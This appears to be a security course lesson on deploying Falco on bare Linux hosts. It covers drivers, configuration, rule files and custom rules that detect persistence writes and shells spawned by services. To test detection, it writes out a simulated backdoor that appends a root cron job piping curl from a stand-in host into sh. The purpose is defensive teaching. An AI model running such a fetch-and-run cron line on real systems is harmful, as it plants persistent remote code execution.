Falco on bare hosts

The k8s runtime tool, minus the k8s.

Advanced12 min · lesson 12 of 17

A building gets watched two ways. A night watchman walks the halls once an hour and notes anything that looks off. Or a guard sits at a wall of live camera feeds and hits the alarm the second a door gets kicked in. Most tools in this course take rounds: a scheduled scan, a nightly diff, a file check on a timer. Falco is the guard at the cameras.

Falco is a runtime security tool from the CNCF (Cloud Native Computing Foundation, the same group that stewards Kubernetes). You may have met it in the container courses, bolted onto a cluster. Take the cluster away and the same engine runs fine on a plain Linux server. It listens to the constant stream of system calls (the requests every program makes to the kernel, the core part of the operating system that talks to the hardware, whenever it wants to open a file, start a process, or make a network connection), checks each one against a set of rules, and alerts the instant one matches.

On a host with no Kubernetes anywhere, that means catching the exact behaviors from the earlier lessons the moment they happen instead of on the next scan: a shell spawned by a web server that should only ever answer requests, a write landing under a cron directory, a process reading its way through everyone's SSH (Secure Shell) keys, an outbound connection from a daemon that is supposed to only listen.

How Falco hears the kernel

Every one of those system calls passes through one place, the kernel, the way every call in an old office passed through one switchboard. Falco needs a tap on that switchboard, and it has three ways to get one.

The oldest is a kernel module (kmod), a piece of code loaded into the kernel itself. It works almost everywhere, but it is code running in the most privileged part of the system, and it has to be built to match your exact kernel. The second is a classic eBPF (extended Berkeley Packet Filter, a way to run small, sandboxed programs inside the kernel without the danger of a full module) probe. The third, and the one to reach for on anything current, is the modern eBPF probe. It is compiled once into the Falco binary using CO-RE (Compile Once, Run Everywhere), so it needs no kernel headers and no build step on the host. It wants a Linux kernel of version 5.8 or newer.

The path from a syscall to a page
1A program makes a syscall
open, execve, connect
2eBPF probe taps it
in-kernel, no app change
3Event crosses to userspace
shared ring buffer
4Falco engine checks rules
condition fields + macros
5A match fires an alert
priority + output line
6Alert leaves the host
journald, syslog, HTTP

Getting the sensor onto the host

Install the package and the Debian and Red Hat builds drop in three systemd services, one per driver (systemd is the program that starts and supervises services on modern Linux). During install a text menu asks which driver you want. Pick modern eBPF and it enables the matching service. Then check what you got.

~/secopslog — bash
$ # Falco's apt repo is already added; install the package sudo apt-get install -y falco # Confirm the build and the driver it will use falco --version
Setting up falco (0.38.2) ... Created symlink /etc/systemd/system/multi-user.target.wants/falco-modern-bpf.service → /usr/lib/systemd/system/falco-modern-bpf.service. Falco version: 0.38.2 Libs version: 0.17.2 Plugin API: 3.8.0 Engine: 37 Driver: API version: 8.0.0 Schema version: 2.0.0 Default driver: 7.3.0+driver
$ systemctl status falco-modern-bpf --no-pager
● falco-modern-bpf.service - Falco: Container Native Runtime Security with modern ebpf Loaded: loaded (/usr/lib/systemd/system/falco-modern-bpf.service; enabled; preset: enabled) Active: active (running) since Fri 2026-07-17 09:14:02 UTC; 2h 18min ago Docs: https://falco.org/docs/ Main PID: 1187 (falco) Tasks: 9 (limit: 4915) Memory: 78.4M CGroup: /system.slice/falco-modern-bpf.service └─1187 /usr/bin/falco -o engine.kind=modern_ebpf Jul 17 09:14:03 web01 falco[1187]: Loading rules from: Jul 17 09:14:03 web01 falco[1187]: /etc/falco/falco_rules.yaml | schema validation: ok Jul 17 09:14:03 web01 falco[1187]: /etc/falco/falco_rules.local.yaml | schema validation: ok Jul 17 09:14:04 web01 falco[1187]: Starting health webserver with threadiness 4, listening on 0.0.0.0:8765 Jul 17 09:14:04 web01 falco[1187]: Opening event source 'syscall'

Two lines tell you it worked, one near the top and one at the bottom. Up top: Active: active (running). At the bottom: Falco opening the 'syscall' source, with no error line after it. If the kernel is older than 5.8 the modern probe cannot load, the service dies during start, and that same status shows failed in place of running. Read it before you walk away and assume you are covered.

What it watches, and where you say so

Falco's behavior lives in two kinds of file: its main config, and its rules. The config, falco.yaml, tells Falco which driver to run and, more usefully to you, which rule files to read and in what order.

/etc/falco/falco.yaml
# excerpt
rules_files:
- /etc/falco/falco_rules.yaml # shipped, general ruleset (loads first)
- /etc/falco/falco_rules.local.yaml # your overrides (loads last, wins)
- /etc/falco/rules.d # a directory of extra rule files
engine:
kind: modern_ebpf
modern_ebpf:
cpus_for_each_buffer: 2
buf_size_preset: 4
stdout_output:
enabled: true
syslog_output:
enabled: true
json_output: false
priority: notice # ignore anything quieter than NOTICE

Order matters. The shipped falco_rules.yaml loads first and carries hundreds of general rules. Your falco_rules.local.yaml loads after it, so anything you define there wins ties. Files dropped into rules.d load as well. There is one rule about the rules: never touch falco_rules.yaml itself.

Your edits to falco_rules.yaml quietly vanish
A background service, falcoctl (Falco's artifact manager), can pull updated rule packs on a timer and replace falco_rules.yaml under you. Package upgrades overwrite it too. Anything you write in that file is gone at the next update, with no warning. Put every custom rule and every exception in falco_rules.local.yaml or a file under /etc/falco/rules.d, which nothing else rewrites.

Rules for the behaviors you already studied

A Falco rule has three parts you care about: a condition (the thing that must be true), an output (the alert line it prints), and a priority (how loud it is, on a scale of eight steps from DEBUG at the quiet end up to EMERGENCY at the top, with CRITICAL sitting near the loud end). Conditions are built from fields like proc.pname (the parent process's name) and fd.name (the file or socket being touched). To keep those conditions readable, Falco lets you name a common phrase once and reuse it everywhere. That named phrase is a macro. spawned_process, shell_procs, and open_write are macros the shipped rules already define, so you can build straight on top of them.

Here are two rules keyed to techniques from earlier lessons, plus a macro of your own naming the accounts allowed to write to sensitive spots.

/etc/falco/falco_rules.local.yaml
# Local overrides. The shipped falco_rules.yaml is replaced on every
# update, so nothing you want to keep lives there.
- macro: trusted_writers
condition: proc.name in (apt, apt-get, dpkg, unattended-upgr, cron, run-parts, systemd)
- rule: Persistence location written
desc: A write landed where attackers hide to survive a reboot or a re-login
condition: >
open_write and
(fd.name startswith /etc/cron or
fd.name endswith authorized_keys or
fd.name = /etc/ld.so.preload or
fd.directory = /etc/sudoers.d)
and not trusted_writers
output: >
Persistence location written
(file=%fd.name proc=%proc.cmdline parent=%proc.pname user=%user.name)
priority: CRITICAL
tags: [host, persistence]
- rule: Shell spawned by a service account
desc: A long-running network service launched a shell, which it has no reason to do
condition: >
spawned_process and shell_procs and
proc.pname in (nginx, httpd, apache2, postgres, mysqld, redis-server)
output: >
Service spawned a shell
(parent=%proc.pname shell=%proc.name cmd=%proc.cmdline user=%user.name)
priority: CRITICAL
tags: [host, execution]

Read the second rule out loud: a process was spawned, it is a shell, and its parent is one of these long-running services. A healthy nginx never runs bash. When it does, someone is standing on its neck. That shell is the doorway to the rest of the post-break-in work from the earlier lessons: forcing a program to load a hostile library first with LD_PRELOAD (an environment variable that changes which code loads before a program's own), hunting for a SUID (set-user-ID) binary to climb to root, reading its way through everyone's credentials. Falco does not name the technique. It catches the moment the service hands someone a prompt, and that is the moment all of it becomes possible.

Prove it fires

Two checks before you trust a rule: confirm it parses, then confirm Falco actually loaded it. Validate the file first. One catch: your local rules lean on macros like open_write and spawned_process that live in the shipped falco_rules.yaml, so hand the validator both files, the shipped one first, or it rejects your rules for leaning on names it has never been told about.

~/secopslog — bash
$ # Validate the local file with the shipped ruleset loaded first, # so the macros it builds on are already in scope sudo falco -V /etc/falco/falco_rules.yaml -V /etc/falco/falco_rules.local.yaml
Fri Jul 17 11:40:12 2026: Validating rules file(s): Fri Jul 17 11:40:12 2026: /etc/falco/falco_rules.yaml Fri Jul 17 11:40:12 2026: /etc/falco/falco_rules.local.yaml Fri Jul 17 11:40:13 2026: /etc/falco/falco_rules.yaml: Ok Fri Jul 17 11:40:13 2026: /etc/falco/falco_rules.local.yaml: Ok
$ # Reload, then confirm both rules are live sudo systemctl restart falco-modern-bpf falco -L | grep -E 'Persistence location|Shell spawned'
Persistence location written A write landed where attackers hide to survive a reboot or a re-login Shell spawned by a service account A long-running network service launched a shell, which it has no reason to do

Now set the trap off yourself. Follow Falco's alerts in one shell, and in another drop a fake persistence job into cron the way an attacker would after landing a foothold.

~/secopslog — bash
$ # Shell 1: follow Falco's output through journald journalctl -fu falco-modern-bpf # Shell 2: simulate the attacker dropping a cron backdoor sudo sh -c 'echo "* * * * * root curl http://10.0.0.9/x|sh" >> /etc/cron.d/backup'
Jul 17 11:42:37 web01 falco[1187]: 11:42:37.512901744: Critical Persistence location written (file=/etc/cron.d/backup proc=sh -c echo "* * * * * root curl http://10.0.0.9/x|sh" >> /etc/cron.d/backup parent=sudo user=root)

That alert reached journald (the systemd logging service) within the same second the file was written, carrying the file, the full command, the parent process, and the user. The write and the page happened together. A nightly scan would have found that cron file the next morning, twelve hours after the attacker was already back in through it.

Keep the tripwire armed

A detector that cries wolf gets silenced, and a silenced detector is worse than none, because now you think you are covered. Falco's default rules on a busy host are loud: package managers write system files, cron runs on its timer, admins open shells all day. The move is to carve out the known-good paths and leave the real detections paging at full volume.

Three habits do most of the work. Key rules on behaviors an attacker cannot cheaply avoid, like spawning a shell or writing a persistence file, rather than on specific tool names they can rename in a second. Add narrow exceptions for your own noisy-but-benign processes, the way the trusted_writers macro above excuses apt and cron. And split rules by loudness: send the chatty, low-signal ones to a dashboard you review on your own schedule, and page a human only on the short, rehearsed list of things that mean a genuinely bad day.

Where Falco sits next to the rest

Falco is your live layer, and it works best flanked. osquery answers point-in-time, fleet-wide questions (what is true across all 400 boxes right now). The audit pipeline keeps the durable, off-host record you read after the fact. Falco fires the instant a watched behavior occurs and hands its alert to that same pipeline, shipped off the host, correlated, and triaged. State, history, and live events, covered together. Its rules are where 'we know how attackers behave' turns into 'we get paged when they do.'

Quick check
01The 'Shell spawned by a service account' rule pages you three nights running, always because a deploy script has postgres run one maintenance command through sh. What do you change?
Incorrect — Deleting it buys you quiet nights and no coverage. The next time nginx or redis hands someone a prompt, nobody is watching that door at all.
Incorrect — This host runs with priority: notice in falco.yaml, so anything quieter is thrown away before it reaches an output. You lose the signal for every service, not only for postgres.
Correct — You carve out the single path you have already checked and vouched for, and the rule stays at full volume for every other service on the machine.
Incorrect — An allowlist at host scope also mutes the persistence rule and everything else Falco loaded there, so you trade three pages for one server you can no longer see into.
02You picked modern eBPF from the install menu. Why does the lesson tell you to read the service status and confirm Active: active (running) before you walk away?
Incorrect — The systemd unit attaches the driver when it starts. Status is a report on what already happened and cannot cause anything to happen.
Correct — Silence from a broken sensor and silence from a calm server read identically from your desk. That status line is the only thing that tells them apart.
Incorrect — The install menu enables one driver's service, and that same unit comes up on every boot. The kernel module, classic eBPF and modern eBPF never race each other.
Incorrect — Alerts go out through whichever outputs falco.yaml enables, at the moment the rule matches. Status reports on the health of the service and holds no events.
03You put a custom rule straight into /etc/falco/falco_rules.yaml. It fired for a week, then one morning falco -L stops listing it and the file reads like a stock copy. What happened?
Incorrect — A parse failure would take the hundreds of shipped rules with it, and falco -L would come back nearly empty rather than missing one entry.
Incorrect — That setting filters alerts on the way out once a rule matches. Nothing about it edits files on disk or explains text disappearing.
Incorrect — No count or size limit is at work here, and trimming would leave the rest of your edits behind rather than restoring a clean vendor copy.
Correct — Treat that file as the vendor's. Rule pack pulls and upgrades stamp a clean copy over it, while your local file and anything under rules.d are left alone.

One check you will run constantly lives above: falco -L lists every rule Falco has actually loaded. After any edit, run it and look for your rule by name. If it is missing, Falco is not watching for that behavior, whatever the file on disk says.

Try this

Work through “Where Falco sits next to the rest” yourself on a sandbox you can throw away, following the commands above in order. Then break one step deliberately and re-run, so you have seen the failure before it finds you.

Takeaway

The trap worth remembering here: your edits to falco_rules.yaml quietly vanish. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related